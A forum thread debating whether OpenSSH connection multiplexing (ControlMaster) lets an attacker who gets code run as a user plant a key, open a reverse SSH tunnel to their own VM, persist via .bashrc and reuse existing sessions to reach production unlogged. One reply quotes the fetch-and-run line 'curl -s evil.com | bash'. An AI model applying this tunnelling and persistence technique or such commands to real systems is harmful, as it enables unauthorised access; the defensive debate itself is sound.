The reason that this involves SSH and is in no way related to the malware example you provided is, this is not malware and will never be detected as such. Very few things can actually block this and most of those things are either too expensive, or disabled by most organizations. Also, this is only getting worse with time. More and companies are opening up their firewalls outbound because it makes developers feel warm and fuzzy. No seriously, people are doing real time integration and builds, calling third party sites like github. I can even put my script on github. If I wanted this to persist, I could update your .bashrc or .bash_profile and start up my tunnel again in the background (as you).
Another reason this involves SSH is that you already have it. I am not installing anything. I am just dropping a key on your machine and (as you) spawning ssh and a reverse tunnel back to a VM I control. No need for root :-) Now I just leverage your existing multiplexed connections into your development and production environments. Your syslog server will not log me connecting, since I am just leveraging your existing channelized SSH session.
This is leveraging a bad configuration that everyone has in SSH by default. In most cases, the attacker can also leverage the commonly poorly configured sudo as well.
If my government would give me legal immunity, I would prove this to you by popping nearly every major company or government office in my country in three weeks or less.
If somebody can get you to run "curl -s evil.com | bash" then you are pwned. They can modify your $PATH and install a key logger and create a reverse shell and upload your ssh private key and forward the reverse connection to anything on your LAN. You have already lost.
Keylogger, perhaps. The multiplexing just makes it trivial to connect to everything with no logging and no authentication. I don't even have to modify the PATH or install a keylogger. I am already several steps beyond that in one move. In other words, no audit trail for the FBI to look into, no need to upload some new application, no need to exploit a vulnerable application (beyond the vulnerability of OpenSSH itself by design).
Perhaps some of the confusion here is that it is assumed ssh keys are in use? In an environment that requires 2FA, keys would not be allowed. People would be using RSA Tokens, Duo, Yubikeys, etc. This method bypassing those things.
It also means, anyone using the defaults in OpenSSH is not PCI compliant.
I am not even sure this method of access to development or production environments is even illegal, as the user is providing access and I am not hacking anything, nor am I using authentication into anything. The door is wide open. If this were a game of chess, I would get check-mate in 1 move.
If this were a game of chess, checkmate is getting arbitrary code to run in the context of the user. If you have an existing ssh process running as the same user then you can attach it with a debugger and inject code into it.
A debugger injecting code into a process under the same context isn't a vulnerability. It's supposed to be able to do that. And OpenSSH is supposed to allow you to multiplex sessions. It's a feature.
The vulnerability is the attacker being able to run arbitrary code as the user.
That's a feature, not a bug. SSH is a power tool; if your users can not be trusted with power tools, it is your responsibility to provide them with something brightly coloured, drool-proof and locked down.
"More and companies are opening up their firewalls outbound because it makes developers feel warm and fuzzy." - this is the actual issue, and should fail you in the audit: precisely because it is a major vulnerability which can be abused in 10^128 different ways.
Running around screaming "OMG OMG, the tool designed to tunnel over the network can be used to tunnel over the network, TEH SKY IS FALLING!!1!!!" is even somewhat funny in this context.
I don't recall even remotely suggesting the sky is falling. If nobody fixes this, it doesn't affect me. I have Multiplexing disabled everywhere that I care about.
The constant news of companies getting popped is actually quite entertaining. The only thing folks may be concerned about is that if too many companies get popped, there may be some heavy handed legislation that starts to affect people. Even that I am perfectly fine with.
"I am just dropping a key on your machine" - from my point of view, it does not matter whether you're dropping an executable, an SSH key, or Aunt Matilda: you already have the user executing arbitrary code (your distinction between "here, pipe this code into bash, it will execute" and "here, pipe this code into bash, it will save itself to disk and then execute" is pure handwaving).
(you are likewise assuming there are multiplexed connections, which is a great leap - these are off by default)
What you have demonstrated is the simplest possible botnet technique, using SSH as the transport and social engineering as the vector; for some reason, you consider it groundbreaking. Well, it would have been - in 2000.
This didn't exist in 2000. It was created and made default on the server in OpenSSH 5. OpenSSH 5 did not make it into enterprise distros for quite some time.
There are literally tens of thousands of articles telling folks to enable ControlMaster (Multiplexing) on the client to "make ssh faster". You would be hard pressed to find a devops shop that isn't already using ControlMaster in their ssh client config. There are at least a handful of government and financial sites that set MaxSessions to 1 because they understand the risk.
This specific mechanism didn't exist in 2000; the behavior is no different from the ILOVEYOU virus: user runs code, code does something malicious, code contacts cracker.
It all boils down to "if you require security, you can't have a default-open environment"; blaming a specific tool seems ... strange.
...install a rootkit or botnet client regardless of how you've configured ssh.
What does it have anything to do with ssh at all? The attacker could just as easily set up an outgoing VPN-over-TLS in the same way.